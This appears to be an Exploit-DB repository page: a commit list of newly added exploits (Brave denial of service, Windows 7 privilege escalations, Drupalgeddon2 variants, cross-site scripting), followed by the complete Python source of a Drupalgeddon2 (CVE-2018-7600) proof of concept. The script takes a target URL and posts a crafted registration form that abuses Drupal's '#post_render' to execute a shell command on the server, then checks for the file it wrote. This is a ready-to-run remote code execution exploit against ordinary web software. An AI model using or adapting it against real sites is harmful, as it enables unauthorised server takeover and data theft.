d0cba5625f
12 changes to exploits/shellcodes Brave Browser < 0.13.0 - 'long alert() argument' Denial of Service Brave Browser < 0.13.0 - 'window.close(self)' Denial of Service AMD Plays.tv 1.27.5.0 - 'plays_service.exe' Arbitrary File Execution Microsoft Window Manager (Windows 7 x86) - Menu Management Component UAF Privilege Elevation Microsoft Windows Kernel (Windows 7 x86) - Local Privilege Escalation (MS17-017) Microsoft Windows Kernel (Windows 7 x86) - Local Privilege Escalation (MS16-039) D-Link DIR-615 Wireless Router - Persistent Cross Site Scripting Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution Joomla! Component jDownloads 3.2.58 - Cross Site Scripting
32 lines
No EOL
1.3 KiB
Python
Executable file
32 lines
No EOL
1.3 KiB
Python
Executable file
#!/usr/bin/env
|
|
import sys
|
|
import requests
|
|
|
|
print ('################################################################')
|
|
print ('# Proof-Of-Concept for CVE-2018-7600')
|
|
print ('# by Vitalii Rudnykh')
|
|
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
|
|
print ('# https://github.com/a2u/CVE-2018-7600')
|
|
print ('################################################################')
|
|
print ('Provided only for educational or information purposes\n')
|
|
|
|
target = input('Enter target url (example: https://domain.ltd/): ')
|
|
|
|
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
|
|
# set verify = False if your proxy certificate is self signed
|
|
# remember to set proxies both for http and https
|
|
#
|
|
# example:
|
|
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
|
|
# verify = False
|
|
proxies = {}
|
|
verify = True
|
|
|
|
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
|
|
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
|
|
|
|
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
|
|
check = requests.get(target + 'hello.txt')
|
|
if check.status_code != 200:
|
|
sys.exit("Not exploitable")
|
|
print ('\nCheck: '+target+'hello.txt') |